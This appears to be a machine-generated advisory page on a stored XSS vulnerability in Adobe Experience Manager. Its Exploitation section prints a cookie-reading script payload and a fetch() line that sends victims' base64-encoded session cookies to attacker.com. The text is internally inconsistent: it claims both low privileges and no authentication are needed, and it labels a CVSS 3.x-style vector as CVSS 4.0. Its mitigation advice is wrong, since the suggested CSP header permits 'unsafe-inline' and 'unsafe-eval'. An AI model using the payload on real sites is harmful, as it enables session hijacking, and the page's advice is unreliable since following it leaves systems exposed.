Adobe Experience Manager, Stored XSS, CVE-2025-46885 (Critical)

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How CVE-2025-46885 Works

Adobe Experience Manager (AEM) versions 6.5.22 and earlier fail to properly sanitize user-supplied input in form fields, allowing attackers with low privileges to inject malicious JavaScript payloads. When a victim accesses a compromised page, the script executes in their browser session, potentially leading to session hijacking, data theft, or unauthorized actions under the victim’s credentials. The vulnerability stems from insufficient input validation in the WCM (Web Content Management) component, where crafted HTML/JS persists in the content repository.

DailyCVE Form

Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 2025-06-12

Prediction: Patch by 2025-07-15

What Undercode Say:

Exploitation

1. Payload Injection:

<script>alert(document.cookie)</script>

Submit to vulnerable AEM form fields (e.g., text components).

2. Exfiltrate Sessions:

fetch('https://attacker.com/steal?data='+btoa(document.cookie));

3. CSRF Pivot:

Combine with AEM’s CSRF tokens for privilege escalation.

Detection

1. Scan for Vulnerable Components:

curl -X GET "http://aem-instance/content/form.html" | grep -i "unsafehtml"

2. AEM Version Check:

curl -I http://aem-instance/libs/granite/core/content/login.html | grep "X-Version"

Mitigation

1. Input Sanitization:

Filter filter = new XSSFilter();
String sanitized = filter.filter(rawInput);

2. CSP Header:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'

3. Patch Workaround:

Disable rich text editing until Adobe releases 6.5.23.

4. Log Monitoring:

tail -f /var/log/aem/error.log | grep "XSS"

5. Sling Rewriter:

Configure `org.apache.sling.rewriter` to strip malicious tags.

Analytics:

  • Exploit Complexity: Low (no auth required).
  • Attack Vector: Web-based.
  • CVSS 4.0: 9.1 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H).

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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